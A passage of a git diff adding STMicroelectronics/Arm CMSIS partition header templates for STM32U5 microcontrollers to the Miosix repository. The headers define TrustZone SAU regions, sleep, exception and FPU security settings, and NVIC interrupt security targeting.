+*/ +#define SAU_INIT_END1 0x083FFFFF /* end address of SAU region 1 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC1 0 +/* +// +*/ + +/* +// Initialize SAU Region 2 +// Setup SAU Region 2 memory attributes +*/ +#define SAU_INIT_REGION2 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START2 0x200D0000 /* start address of SAU region 2 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END2 0x2026FFFF /* end address of SAU region 2 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC2 0 +/* +// +*/ + +/* +// Initialize SAU Region 3 +// Setup SAU Region 3 memory attributes +*/ +#define SAU_INIT_REGION3 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START3 0x40000000 /* start address of SAU region 3 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END3 0x4FFFFFFF /* end address of SAU region 3 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC3 0 +/* +// +*/ + +/* +// Initialize SAU Region 4 +// Setup SAU Region 4 memory attributes +*/ +#define SAU_INIT_REGION4 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START4 0x60000000 /* start address of SAU region 4 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END4 0xAFFFFFFF /* end address of SAU region 4 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC4 0 +/* +// +*/ + +/* +// Initialize SAU Region 5 +// Setup SAU Region 5 memory attributes +*/ +#define SAU_INIT_REGION5 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START5 0x0BF90000 /* start address of SAU region 5 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END5 0x0BFA8FFF /* end address of SAU region 5 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC5 0 +/* +// +*/ + +/* +// Initialize SAU Region 6 +// Setup SAU Region 6 memory attributes +*/ +#define SAU_INIT_REGION6 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START6 0x00000000 /* start address of SAU region 6 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END6 0x00000000 /* end address of SAU region 6 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC6 0 +/* +// +*/ + +/* +// Initialize SAU Region 7 +// Setup SAU Region 7 memory attributes +*/ +#define SAU_INIT_REGION7 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START7 0x00000000 /* start address of SAU region 7 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END7 0x00000000 /* end address of SAU region 7 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC7 0 +/* +// +*/ + +/* +// +*/ + +/* +// Setup behaviour of Sleep and Exception Handling +*/ +#define SCB_CSR_AIRCR_INIT 0 + +/* +// Deep Sleep can be enabled by +// <0=>Secure and Non-Secure state +// <1=>Secure state only +// Value for SCB->CSR register bit DEEPSLEEPS +*/ +#define SCB_CSR_DEEPSLEEPS_VAL 0 + +/* +// System reset request accessible from +// <0=> Secure and Non-Secure state +// <1=> Secure state only +// Value for SCB->AIRCR register bit SYSRESETREQS +*/ +#define SCB_AIRCR_SYSRESETREQS_VAL 0 + +/* +// Priority of Non-Secure exceptions is +// <0=> Not altered +// <1=> Lowered to 0x04-0x07 +// Value for SCB->AIRCR register bit PRIS +*/ +#define SCB_AIRCR_PRIS_VAL 0 + +/* +// BusFault, HardFault, and NMI target +// <0=> Secure state +// <1=> Non-Secure state +// Value for SCB->AIRCR register bit BFHFNMINS +*/ +#define SCB_AIRCR_BFHFNMINS_VAL 0 + +/* +// +*/ + +/* +// Setup behaviour of Floating Point Unit +*/ +#define TZ_FPU_NS_USAGE 1 + +/* +// Floating Point Unit usage +// <0=> Secure state only +// <3=> Secure and Non-Secure state +// Value for SCB->NSACR register bits CP10, CP11 +*/ +#define SCB_NSACR_CP10_11_VAL 3 + +/* +// Treat floating-point registers as Secure +// <0=> Disabled +// <1=> Enabled +// Value for FPU->FPCCR register bit TS +*/ +#define FPU_FPCCR_TS_VAL 0 + +/* +// Clear on return (CLRONRET) accessibility +// <0=> Secure and Non-Secure state +// <1=> Secure state only +// Value for FPU->FPCCR register bit CLRONRETS +*/ +#define FPU_FPCCR_CLRONRETS_VAL 0 + +/* +// Clear floating-point caller saved registers on exception return +// <0=> Disabled +// <1=> Enabled +// Value for FPU->FPCCR register bit CLRONRET +*/ +#define FPU_FPCCR_CLRONRET_VAL 1 + +/* +// +*/ + +/* +// Setup Interrupt Target +*/ + +/* +// Initialize ITNS 0 (Interrupts 0..31) +*/ +#define NVIC_INIT_ITNS0 1 + +/* +// Interrupts 0..31 +// WWDG_IRQn <0=> Secure state <1=> Non-Secure state +// PVD_PVM_IRQn <0=> Secure state <1=> Non-Secure state +// RTC_IRQn <0=> Secure state <1=> Non-Secure state +// RTC_S_IRQn <0=> Secure state <1=> Non-Secure state +// TAMP_IRQn <0=> Secure state <1=> Non-Secure state +// RAMCFG_IRQn <0=> Secure state <1=> Non-Secure state +// FLASH_IRQn <0=> Secure state <1=> Non-Secure state +// FLASH_S_IRQn <0=> Secure state <1=> Non-Secure state +// GTZC_IRQn <0=> Secure state <1=> Non-Secure state +// RCC_IRQn <0=> Secure state <1=> Non-Secure state +// RCC_S_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI0_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI1_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI2_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI3_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI4_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI5_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI6_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI7_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI8_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI9_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI10_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI11_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI12_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI13_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI14_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI15_IRQn <0=> Secure state <1=> Non-Secure state +// IWDG_IRQn <0=> Secure state <1=> Non-Secure state +// SAES_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel0_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel1_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel2_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS0_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 1 (Interrupts 32..63) +*/ +#define NVIC_INIT_ITNS1 1 + +/* +// Interrupts 32..63 +// GPDMA1_Channel3_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel4_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel5_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel6_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel7_IRQn <0=> Secure state <1=> Non-Secure state +// ADC1_IRQn <0=> Secure state <1=> Non-Secure state +// DAC1_IRQn <0=> Secure state <1=> Non-Secure state +// FDCAN1_IT0_IRQn <0=> Secure state <1=> Non-Secure state +// FDCAN1_IT1_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_BRK_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_UP_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_TRG_COM_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_CC_IRQn <0=> Secure state <1=> Non-Secure state +// TIM2_IRQn <0=> Secure state <1=> Non-Secure state +// TIM3_IRQn <0=> Secure state <1=> Non-Secure state +// TIM4_IRQn <0=> Secure state <1=> Non-Secure state +// TIM5_IRQn <0=> Secure state <1=> Non-Secure state +// TIM6_IRQn <0=> Secure state <1=> Non-Secure state +// TIM7_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_BRK_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_UP_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_TRG_COM_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_CC_IRQn <0=> Secure state <1=> Non-Secure state +// I2C1_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C1_ER_IRQn <0=> Secure state <1=> Non-Secure state +// I2C2_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C2_ER_IRQn <0=> Secure state <1=> Non-Secure state +// SPI1_IRQn <0=> Secure state <1=> Non-Secure state +// SPI2_IRQn <0=> Secure state <1=> Non-Secure state +// USART1_IRQn <0=> Secure state <1=> Non-Secure state +// USART2_IRQn <0=> Secure state <1=> Non-Secure state +// USART3_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS1_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 2 (Interrupts 64..95) +*/ +#define NVIC_INIT_ITNS2 1 + +/* +// Interrupts 64..95 +// UART4_IRQn <0=> Secure state <1=> Non-Secure state +// UART5_IRQn <0=> Secure state <1=> Non-Secure state +// LPUART1_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM1_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM2_IRQn <0=> Secure state <1=> Non-Secure state +// TIM15_IRQn <0=> Secure state <1=> Non-Secure state +// TIM16_IRQn <0=> Secure state <1=> Non-Secure state +// TIM17_IRQn <0=> Secure state <1=> Non-Secure state +// COMP_IRQn <0=> Secure state <1=> Non-Secure state +// OTG_HS_IRQn <0=> Secure state <1=> Non-Secure state +// CRS_IRQn <0=> Secure state <1=> Non-Secure state +// FMC_IRQn <0=> Secure state <1=> Non-Secure state +// OCTOSPI1_IRQn <0=> Secure state <1=> Non-Secure state +// PWR_S3WU_IRQn <0=> Secure state <1=> Non-Secure state +// SDMMC1_IRQn <0=> Secure state <1=> Non-Secure state +// SDMMC2_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel8_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel9_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel10_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel11_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel12_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel13_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel14_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel15_IRQn <0=> Secure state <1=> Non-Secure state +// I2C3_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C3_ER_IRQn <0=> Secure state <1=> Non-Secure state +// SAI1_IRQn <0=> Secure state <1=> Non-Secure state +// SAI2_IRQn <0=> Secure state <1=> Non-Secure state +// TSC_IRQn <0=> Secure state <1=> Non-Secure state +// AES_IRQn <0=> Secure state <1=> Non-Secure state +// RNG_IRQn <0=> Secure state <1=> Non-Secure state +// FPU_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS2_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 3 (Interrupts 96..127) +*/ +#define NVIC_INIT_ITNS3 1 + +/* +// Interrupts 96..127 +// HASH_IRQn <0=> Secure state <1=> Non-Secure state +// PKA_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM3_IRQn <0=> Secure state <1=> Non-Secure state +// SPI3_IRQn <0=> Secure state <1=> Non-Secure state +// I2C4_ER_IRQn <0=> Secure state <1=> Non-Secure state +// I2C4_EV_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT0_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT1_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT2_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT3_IRQn <0=> Secure state <1=> Non-Secure state +// UCPD1_IRQn <0=> Secure state <1=> Non-Secure state +// ICACHE_IRQn <0=> Secure state <1=> Non-Secure state +// OTFDEC1_IRQn <0=> Secure state <1=> Non-Secure state +// OTFDEC2_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM4_IRQn <0=> Secure state <1=> Non-Secure state +// DCACHE1_IRQn <0=> Secure state <1=> Non-Secure state +// ADF1_IRQn <0=> Secure state <1=> Non-Secure state +// ADC4_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel0_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel1_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel2_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel3_IRQn <0=> Secure state <1=> Non-Secure state +// DMA2D_IRQn <0=> Secure state <1=> Non-Secure state +// DCMI_PSSI_IRQn <0=> Secure state <1=> Non-Secure state +// OCTOSPI2_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT4_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT5_IRQn <0=> Secure state <1=> Non-Secure state +// CORDIC_IRQn <0=> Secure state <1=> Non-Secure state +// FMAC_IRQn <0=> Secure state <1=> Non-Secure state +// LSECSSD_IRQn <0=> Secure state <1=> Non-Secure state +// USART6_IRQn <0=> Secure state <1=> Non-Secure state +// I2C5_ER_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS3_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 4 (Interrupts 128..138) +*/ +#define NVIC_INIT_ITNS4 1 + +/* +// Interrupts 128..138 +// I2C5_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C6_ER_IRQn <0=> Secure state <1=> Non-Secure state +// I2C6_EV_IRQn <0=> Secure state <1=> Non-Secure state +// HSPI1_IRQn <0=> Secure state <1=> Non-Secure state +// GPU2D_IRQn <0=> Secure state <1=> Non-Secure state +// GPU2D_ER_IRQn <0=> Secure state <1=> Non-Secure state +// GFXMMU_IRQn <0=> Secure state <1=> Non-Secure state +// LTDC_IRQn <0=> Secure state <1=> Non-Secure state +// LTDC_ER_IRQn <0=> Secure state <1=> Non-Secure state +// DSI_IRQn <0=> Secure state <1=> Non-Secure state +// DCACHE2_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS4_VAL 0x00000000 + +/* +// +*/ + +/* +// +*/ + +/* + max 8 SAU regions. + SAU regions are defined in partition.h + */ + +#define SAU_INIT_REGION(n) \ + SAU->RNR = (n & SAU_RNR_REGION_Msk); \ + SAU->RBAR = (SAU_INIT_START##n & SAU_RBAR_BADDR_Msk); \ + SAU->RLAR = (SAU_INIT_END##n & SAU_RLAR_LADDR_Msk) | \ + ((SAU_INIT_NSC##n << SAU_RLAR_NSC_Pos) & SAU_RLAR_NSC_Msk) | 1U + +/** + \brief Setup a SAU Region + \details Writes the region information contained in SAU_Region to the + registers SAU_RNR, SAU_RBAR, and SAU_RLAR + */ +__STATIC_INLINE void TZ_SAU_Setup (void) +{ + +#if defined (__SAUREGION_PRESENT) && (__SAUREGION_PRESENT == 1U) + + #if defined (SAU_INIT_REGION0) && (SAU_INIT_REGION0 == 1U) + SAU_INIT_REGION(0); + #endif + + #if defined (SAU_INIT_REGION1) && (SAU_INIT_REGION1 == 1U) + SAU_INIT_REGION(1); + #endif + + #if defined (SAU_INIT_REGION2) && (SAU_INIT_REGION2 == 1U) + SAU_INIT_REGION(2); + #endif + + #if defined (SAU_INIT_REGION3) && (SAU_INIT_REGION3 == 1U) + SAU_INIT_REGION(3); + #endif + + #if defined (SAU_INIT_REGION4) && (SAU_INIT_REGION4 == 1U) + SAU_INIT_REGION(4); + #endif + + #if defined (SAU_INIT_REGION5) && (SAU_INIT_REGION5 == 1U) + SAU_INIT_REGION(5); + #endif + + #if defined (SAU_INIT_REGION6) && (SAU_INIT_REGION6 == 1U) + SAU_INIT_REGION(6); + #endif + + #if defined (SAU_INIT_REGION7) && (SAU_INIT_REGION7 == 1U) + SAU_INIT_REGION(7); + #endif + + /* repeat this for all possible SAU regions */ + +#endif /* defined (__SAUREGION_PRESENT) && (__SAUREGION_PRESENT == 1U) */ + + + #if defined (SAU_INIT_CTRL) && (SAU_INIT_CTRL == 1U) + SAU->CTRL = ((SAU_INIT_CTRL_ENABLE << SAU_CTRL_ENABLE_Pos) & SAU_CTRL_ENABLE_Msk) | + ((SAU_INIT_CTRL_ALLNS << SAU_CTRL_ALLNS_Pos) & SAU_CTRL_ALLNS_Msk) ; + #endif + + #if defined (SCB_CSR_AIRCR_INIT) && (SCB_CSR_AIRCR_INIT == 1U) + SCB->SCR = (SCB->SCR & ~(SCB_SCR_SLEEPDEEPS_Msk )) | + ((SCB_CSR_DEEPSLEEPS_VAL << SCB_SCR_SLEEPDEEPS_Pos) & SCB_SCR_SLEEPDEEPS_Msk); + + SCB->AIRCR = (SCB->AIRCR & ~(SCB_AIRCR_VECTKEY_Msk | SCB_AIRCR_SYSRESETREQS_Msk | + SCB_AIRCR_BFHFNMINS_Msk | SCB_AIRCR_PRIS_Msk) ) | + ((0x05FAU << SCB_AIRCR_VECTKEY_Pos) & SCB_AIRCR_VECTKEY_Msk) | + ((SCB_AIRCR_SYSRESETREQS_VAL << SCB_AIRCR_SYSRESETREQS_Pos) & SCB_AIRCR_SYSRESETREQS_Msk) | + ((SCB_AIRCR_PRIS_VAL << SCB_AIRCR_PRIS_Pos) & SCB_AIRCR_PRIS_Msk) | + ((SCB_AIRCR_BFHFNMINS_VAL << SCB_AIRCR_BFHFNMINS_Pos) & SCB_AIRCR_BFHFNMINS_Msk); + #endif /* defined (SCB_CSR_AIRCR_INIT) && (SCB_CSR_AIRCR_INIT == 1U) */ + + #if defined (__FPU_USED) && (__FPU_USED == 1U) && \ + defined (TZ_FPU_NS_USAGE) && (TZ_FPU_NS_USAGE == 1U) + + SCB->NSACR = (SCB->NSACR & ~(SCB_NSACR_CP10_Msk | SCB_NSACR_CP11_Msk)) | + ((SCB_NSACR_CP10_11_VAL << SCB_NSACR_CP10_Pos) & (SCB_NSACR_CP10_Msk | SCB_NSACR_CP11_Msk)); + + FPU->FPCCR = (FPU->FPCCR & ~(FPU_FPCCR_TS_Msk | FPU_FPCCR_CLRONRETS_Msk | FPU_FPCCR_CLRONRET_Msk)) | + ((FPU_FPCCR_TS_VAL << FPU_FPCCR_TS_Pos ) & FPU_FPCCR_TS_Msk ) | + ((FPU_FPCCR_CLRONRETS_VAL << FPU_FPCCR_CLRONRETS_Pos) & FPU_FPCCR_CLRONRETS_Msk) | + ((FPU_FPCCR_CLRONRET_VAL << FPU_FPCCR_CLRONRET_Pos ) & FPU_FPCCR_CLRONRET_Msk ); + #endif + + #if defined (NVIC_INIT_ITNS0) && (NVIC_INIT_ITNS0 == 1U) + NVIC->ITNS[0] = NVIC_INIT_ITNS0_VAL; + #endif + + #if defined (NVIC_INIT_ITNS1) && (NVIC_INIT_ITNS1 == 1U) + NVIC->ITNS[1] = NVIC_INIT_ITNS1_VAL; + #endif + + #if defined (NVIC_INIT_ITNS2) && (NVIC_INIT_ITNS2 == 1U) + NVIC->ITNS[2] = NVIC_INIT_ITNS2_VAL; + #endif + + #if defined (NVIC_INIT_ITNS3) && (NVIC_INIT_ITNS3 == 1U) + NVIC->ITNS[3] = NVIC_INIT_ITNS3_VAL; + #endif + + #if defined (NVIC_INIT_ITNS4) && (NVIC_INIT_ITNS4 == 1U) + NVIC->ITNS[4] = NVIC_INIT_ITNS4_VAL; + #endif + +} + +#endif /* PARTITION_STM32U5A9XX_H */ diff --git a/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/Templates/partition_stm32u5f7xx.h b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/Templates/partition_stm32u5f7xx.h new file mode 100644 index 000000000..f6be1d322 --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/Templates/partition_stm32u5f7xx.h @@ -0,0 +1,690 @@ +/** + ****************************************************************************** + * @file partition_stm32u5f7xx.h + * @author MCD Application Team + * @brief CMSIS STM32U5F7xx Device Initial Setup for Secure / Non-Secure Zones + * for ARMCM33 based on CMSIS CORE partition_ARMCM33.h Template. + * + * This file contains: + * - Initialize Security Attribution Unit (SAU) CTRL register + * - Setup behavior of Sleep and Exception Handling + * - Setup behavior of Floating Point Unit + * - Setup Interrupt Target + * + ****************************************************************************** + * Copyright (c) 2009-2019 Arm Limited. All rights reserved. + * Copyright (c) 2023 STMicroelectronics. All rights reserved. + * + * SPDX-License-Identifier: Apache-2.0 + * + * Licensed under the Apache License, Version 2.0 (the License); you may + * not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an AS IS BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ****************************************************************************** + */ + +#ifndef PARTITION_STM32U5F7XX_H +#define PARTITION_STM32U5F7XX_H + +/* +//-------- <<< Use Configuration Wizard in Context Menu >>> ----------------- +*/ + +/* +// Initialize Security Attribution Unit (SAU) CTRL register +*/ +#define SAU_INIT_CTRL 1 + +/* +// Enable SAU +// Value for SAU->CTRL register bit ENABLE +*/ +#define SAU_INIT_CTRL_ENABLE 0 + +/* +// When SAU is disabled +// <0=> All Memory is Secure +// <1=> All Memory is Non-Secure +// Value for SAU->CTRL register bit ALLNS +// When all Memory is Non-Secure (ALLNS is 1), IDAU can override memory map configuration. +*/ +#define SAU_INIT_CTRL_ALLNS 1 + +/* +// +*/ + +/* +// Initialize Security Attribution Unit (SAU) Address Regions +// SAU configuration specifies regions to be one of: +// - Secure and Non-Secure Callable +// - Non-Secure +// Note: All memory regions not configured by SAU are Secure +*/ +#define SAU_REGIONS_MAX 8 /* Max. number of SAU regions */ + +/* +// Initialize SAU Region 0 +// Setup SAU Region 0 memory attributes +*/ +#define SAU_INIT_REGION0 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START0 0x0C1FE000 /* start address of SAU region 0 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END0 0x0C1FFFFF /* end address of SAU region 0 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC0 1 +/* +// +*/ + +/* +// Initialize SAU Region 1 +// Setup SAU Region 1 memory attributes +*/ +#define SAU_INIT_REGION1 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START1 0x08200000 /* start address of SAU region 1 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END1 0x083FFFFF /* end address of SAU region 1 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC1 0 +/* +// +*/ + +/* +// Initialize SAU Region 2 +// Setup SAU Region 2 memory attributes +*/ +#define SAU_INIT_REGION2 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START2 0x200D0000 /* start address of SAU region 2 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END2 0x202EFFFF /* end address of SAU region 2 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC2 0 +/* +// +*/ + +/* +// Initialize SAU Region 3 +// Setup SAU Region 3 memory attributes +*/ +#define SAU_INIT_REGION3 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START3 0x40000000 /* start address of SAU region 3 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END3 0x4FFFFFFF /* end address of SAU region 3 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC3 0 +/* +// +*/ + +/* +// Initialize SAU Region 4 +// Setup SAU Region 4 memory attributes +*/ +#define SAU_INIT_REGION4 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START4 0x60000000 /* start address of SAU region 4 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END4 0xAFFFFFFF /* end address of SAU region 4 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC4 0 +/* +// +*/ + +/* +// Initialize SAU Region 5 +// Setup SAU Region 5 memory attributes +*/ +#define SAU_INIT_REGION5 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START5 0x0BF90000 /* start address of SAU region 5 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END5 0x0BFA8FFF /* end address of SAU region 5 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC5 0 +/* +// +*/ + +/* +// Initialize SAU Region 6 +// Setup SAU Region 6 memory attributes +*/ +#define SAU_INIT_REGION6 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START6 0x00000000 /* start address of SAU region 6 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END6 0x00000000 /* end address of SAU region 6 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC6 0 +/* +// +*/ + +/* +// Initialize SAU Region 7 +// Setup SAU Region 7 memory attributes +*/ +#define SAU_INIT_REGION7 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START7 0x00000000 /* start address of SAU region 7 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END7 0x00000000 /* end address of SAU region 7 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC7 0 +/* +// +*/ + +/* +// +*/ + +/* +// Setup behaviour of Sleep and Exception Handling +*/ +#define SCB_CSR_AIRCR_INIT 0 + +/* +// Deep Sleep can be enabled by +// <0=>Secure and Non-Secure state +// <1=>Secure state only +// Value for SCB->CSR register bit DEEPSLEEPS +*/ +#define SCB_CSR_DEEPSLEEPS_VAL 0 + +/* +// System reset request accessible from +// <0=> Secure and Non-Secure state +// <1=> Secure state only +// Value for SCB->AIRCR register bit SYSRESETREQS +*/ +#define SCB_AIRCR_SYSRESETREQS_VAL 0 + +/* +// Priority of Non-Secure exceptions is +// <0=> Not altered +// <1=> Lowered to 0x04-0x07 +// Value for SCB->AIRCR register bit PRIS +*/ +#define SCB_AIRCR_PRIS_VAL 0 + +/* +// BusFault, HardFault, and NMI target +// <0=> Secure state +// <1=> Non-Secure state +// Value for SCB->AIRCR register bit BFHFNMINS +*/ +#define SCB_AIRCR_BFHFNMINS_VAL 0 + +/* +// +*/ + +/* +// Setup behaviour of Floating Point Unit +*/ +#define TZ_FPU_NS_USAGE 1 + +/* +// Floating Point Unit usage +// <0=> Secure state only +// <3=> Secure and Non-Secure state +// Value for SCB->NSACR register bits CP10, CP11 +*/ +#define SCB_NSACR_CP10_11_VAL 3 + +/* +// Treat floating-point registers as Secure +// <0=> Disabled +// <1=> Enabled +// Value for FPU->FPCCR register bit TS +*/ +#define FPU_FPCCR_TS_VAL 0 + +/* +// Clear on return (CLRONRET) accessibility +// <0=> Secure and Non-Secure state +// <1=> Secure state only +// Value for FPU->FPCCR register bit CLRONRETS +*/ +#define FPU_FPCCR_CLRONRETS_VAL 0 + +/* +// Clear floating-point caller saved registers on exception return +// <0=> Disabled +// <1=> Enabled +// Value for FPU->FPCCR register bit CLRONRET +*/ +#define FPU_FPCCR_CLRONRET_VAL 1 + +/* +// +*/ + +/* +// Setup Interrupt Target +*/ + +/* +// Initialize ITNS 0 (Interrupts 0..31) +*/ +#define NVIC_INIT_ITNS0 1 + +/* +// Interrupts 0..31 +// WWDG_IRQn <0=> Secure state <1=> Non-Secure state +// PVD_PVM_IRQn <0=> Secure state <1=> Non-Secure state +// RTC_IRQn <0=> Secure state <1=> Non-Secure state +// RTC_S_IRQn <0=> Secure state <1=> Non-Secure state +// TAMP_IRQn <0=> Secure state <1=> Non-Secure state +// RAMCFG_IRQn <0=> Secure state <1=> Non-Secure state +// FLASH_IRQn <0=> Secure state <1=> Non-Secure state +// FLASH_S_IRQn <0=> Secure state <1=> Non-Secure state +// GTZC_IRQn <0=> Secure state <1=> Non-Secure state +// RCC_IRQn <0=> Secure state <1=> Non-Secure state +// RCC_S_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI0_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI1_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI2_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI3_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI4_IRQn <0=> Secure state <1=> Non-Secure state +// 